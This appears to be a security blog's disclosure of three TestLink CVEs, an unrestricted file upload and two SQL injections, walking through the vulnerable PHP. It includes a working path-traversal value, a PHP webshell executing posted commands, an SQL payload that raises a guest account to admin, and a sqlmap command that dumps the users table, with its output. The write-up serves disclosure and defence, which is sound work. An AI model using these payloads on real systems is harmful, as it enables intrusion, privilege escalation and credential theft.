Testlink is an open source, web based test management and test execution system written in PHP (a scripting language also known as an Hypertext Preprocessor).
Testlink is an open-source, web-based test management and test execution system written in PHP (a scripting language also known as a Hypertext Preprocessor). During a recent security audit, our AppSec team found an unrestricted file upload (CVE-2020-8639) and two SQL Injection vulnerabilities (CVE-2020-8637, CVE-2020-8638). Below we provide an in-depth overview of the three identified flaws and ways they can be exploited.
Teslink offers the possibility to categorize test cases using keywords. These keywords can be exported and imported, and in this operation, we found our first vulnerability.
This screen allows us to upload a file containing keywords, and by selecting the File type
we can choose between XML or CSV format. Let’s now look at the implementation of the init_args method in the file keywordsImport.php
function init_args(&$dbHandler)
{
$_REQUEST = strings_stripSlashes($_REQUEST);
$ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
"importType" => array(tlInputParameter::STRING_N,0,100),
"tproject_id" => array(tlInputParameter::INT_N));
$args = new stdClass();
R_PARAMS($ipcfg,$args);
if( $args->tproject_id <= 0 )
{
throw new Exception(" Error Invalid Test Project ID", 1);
}
// Check rights before doing anything else
// Abort if rights are not enough
$user = $_SESSION['currentUser'];
$env['tproject_id'] = $args->tproject_id;
$env['tplan_id'] = 0;
$check = new stdClass();
$check->items = array('mgt_modify_key');
$check->mode = 'and';
checkAccess($dbHandler,$user,$env,$check);
$tproj_mgr = new testproject($dbHandler);
$dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
$args->tproject_name = $dm['name'];
$args->UploadFile = ($args->UploadFile != "") ? 1 : 0;
$args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null;
$args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null;
$args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
return $args;
}
First, the strings_stripSlashes method un-quotes all quoted-string values from $_REQUEST
. Then with the R_PARAMS method, the parameters defined in $ipcfg
are retrieved from the REQUEST
and stored in $args
. The uploaded file is stored in $args->source
and the value of $args->importType
is concatenated in $args->dest
. There is nothing to stop us from changing the value of importType
to /../../any/folder/we/want
. In other words, this parameter is vulnerable to Path Traversal.
Now let’s see where $args->dest
is used:
$args = init_args($db);
$gui = initializeGui($args);
if(!$gui->msg && $args->UploadFile)
{
if(($args->source != 'none') && ($args->source != ''))
{
if (move_uploaded_file($args->source, $args->dest))
It is used in move_uploaded_file so we can upload a file in any directory of the server.
One way to exploit this vulnerability would be to upload a webshell to have Remote Code Execution on the server where Testlink is deployed. To do this we need to locate a path on the server that the system user running Testlink has write permissions for (for example, /logs).
The value of importType
should be /../../../logs/ws.php
and we need to pass the code of our webshell in the variable uploadedFile
in PHP. For example, this can be done in the following way:
<html>
<body>
<form method="POST">
<input name="command" id="command" />
<input type="submit" value="Send" />
</form>
<pre>
<?php if(isset($_POST['command']))
{
system($_POST['command']);
} ?>
</pre>
</body>
</html>
This way we can execute code on the server:
Testlink is vulnerable to SQL Injection, both in tree.class.php and testPlanUrgency.class.php.
Let’s look at each of the SQL injection in detail. The flow of the first one starts in dragdroptreenodes.php, the injection is done in the unsanitized parameter nodeid
.
The following code snippet shows the entry point to the vulnerability:
function init_args()
{
$args=new stdClass();
$key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
foreach($key2loop as $key)
{
$args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
}
return $args;
}
The user input nodeid
is retrieved from the $_REQUEST
and stored in $args->nodeid
. The change_parent
method is then invoked:
$args=init_args();
$treeMgr = new tree($db);
switch($args->doAction)
{
case 'changeParent':
$treeMgr->change_parent($args->nodeid,$args->newparentid);
break;
The method definition is in tree.class.php
function change_parent($node_id, $parent_id)
{
$debugMsg='Class:' .__CLASS__ . ' - Method:' . __FUNCTION__ . ' :: ';
if( is_array($node_id) )
{
$id_list = implode(",",$node_id);
$where_clause = " WHERE id IN ($id_list) ";
}
else
{
$where_clause=" WHERE id = {$node_id}";
}
$sql = "/* $debugMsg */ UPDATE {$this->object_table} " .
" SET parent_id = " . $this->db->prepare_int($parent_id) . " {$where_clause}";
$result = $this->db->exec_query($sql);
return $result ? 1 : 0;
}
As you can see in the source code, the $node_id
is concatenated in the WHERE
of the SQL statement, enabling the manipulation of the SQL syntax.
The second SQL injection starts in planUrgency.php the injection is done in the unsanitized parameter urgency
.
if (isset($_REQUEST['urgency']))
{
$args->urgency_tc = $_REQUEST['urgency'];
}
After retrieving the urgency
value of $_REQUEST
, the setTestUrgency
method is called.
// Set urgency for individual testcases
if(isset($argsObj->urgency_tc))
{
foreach ($argsObj->urgency_tc as $id => $urgency)
{
$tplanMgr->setTestUrgency($argsObj->tplan_id, $id, $urgency);
}
}
The definition of the setTestUrgency
method can be found at testPlanUrgency.class.php.
public function setTestUrgency($testplan_id, $tc_id, $urgency)
{
$sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
" WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
" AND tcversion_id=" . $this->db->prepare_int($tc_id);
$result = $this->db->exec_query($sql);
return $result ? tl::OK : tl::ERROR;
}
Finally $urgency
is directly embedded into a SQL query, allowing an attacker to control the SQL statement that will be executed in the database.
Teslink can be installed to use MySQL or PostgreSQL. If it is using MySQL, an attacker can list sensitive database information. But if it is using PostgreSQL, since it allows stacked queries, it permits any attacker to execute malicious queries on the server’s database.
This is the best scenario in an attacker’s perspective, because he can just execute any SQL query, only adding a ;
followed by the query he wants to execute and finally a --
to comment on the rest of the query.
For example, we could make an account with a Guest role to become an Admin.
If we look at the script that populates the roles data in testlink_create_default_data.sql, we can see that the Role with id 8
is the Admin
# Roles -
INSERT INTO /*prefix*/roles (id,description) VALUES (1, '<reserved system role 1>');
INSERT INTO /*prefix*/roles (id,description) VALUES (2, '<reserved system role 2>');
INSERT INTO /*prefix*/roles (id,description) VALUES (3, '<no rights>');
INSERT INTO /*prefix*/roles (id,description) VALUES (4, 'test designer');
INSERT INTO /*prefix*/roles (id,description) VALUES (5, 'guest');
INSERT INTO /*prefix*/roles (id,description) VALUES (6, 'senior tester');
INSERT INTO /*prefix*/roles (id,description) VALUES (7, 'tester');
INSERT INTO /*prefix*/roles (id,description) VALUES (8, 'admin');
INSERT INTO /*prefix*/roles (id,description) VALUES (9, 'leader');
Knowing this we can build the following payload to update the role_id of the user in the users table.
Knowing this we can build the following payload to update the role_id
of the user in the users
table.
nodeid=47; update users set role_id='8' where login='user';--
Before executing the payload the user only has Guest rights:
After running our payload, the user becomes Admin and has all the respective permissions:
In this scenario, since no stacked queries are allowed, we cannot change the database values, but we can dump their data.
To automate the process we can use the sqlmap tool. For instance, if we wanted to dump the data from the users table, we would have to execute the following command:
python sqlmap.py -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php
--data="doAction=changeParent&oldparentid=41&newparentid=41&nodelist=47%2C45&nodeorder=0&nodeid=47"
-p nodeid
--cookie="PHPSESSID=<PHP_SESSION_ID>; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=<USER_AUTH_COOKIE>"
--dump -D testlink -T users
The purpose of this blog post is not to explain how to use sqlmap, so we will just briefly explain the arguments we have passed to this command:
With these arguments we make sqlmap focus on what we want, making it take less time and launching fewer requests against the server.
The output of the sqlmap is:
web application technology: Apache 2.4.41, PHP 7.3.14
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Database: testlink
Table: users
[2 entries]
+----+---------+---------------+-------+--------- --- ----+----------- --- ---+-------------- --- ---+
| id | role_id | email | login | password | script_key | cookie_string |
+----+---------+---------------+-------+--------- --- ----+----------- --- ---+-------------- --- ---+
| 1 | 8 | [email protected] | admin | $2y$10$9 ... L/e | d4aed7db45 ... a5 | 517372818f771 ... 94 |
| 2 | 5 | [email protected] | user | $2y$10$8 ... YPW | NULL | 9deab133cb5f7 ... 6a |
+----+---------+---------------+-------+--------- --- ----+----------- --- ---+-------------- --- ---+
When we analyze the sqlmap output, we can see that Testlink uses bcrypt to store users’ passwords so we can’t do anything with this information. However, it stores the apiKey and cookie in clear text, so we can use them to make requests as Admin.
In this blog post, we have seen why it is so important to never trust the data provided by a user. Data from all potentially unreliable sources should be subject to input validation and these three vulnerabilities could have been avoided by applying correct input data validations.
In the case of the Unrestricted file upload vulnerability, we want to emphasize the importance of conducting a static analysis, because this kind of vulnerabilities can easily be overlooked in a dynamic analysis, but it is much easier and faster to detect it by checking the source code.
Get resources in your mailbox for free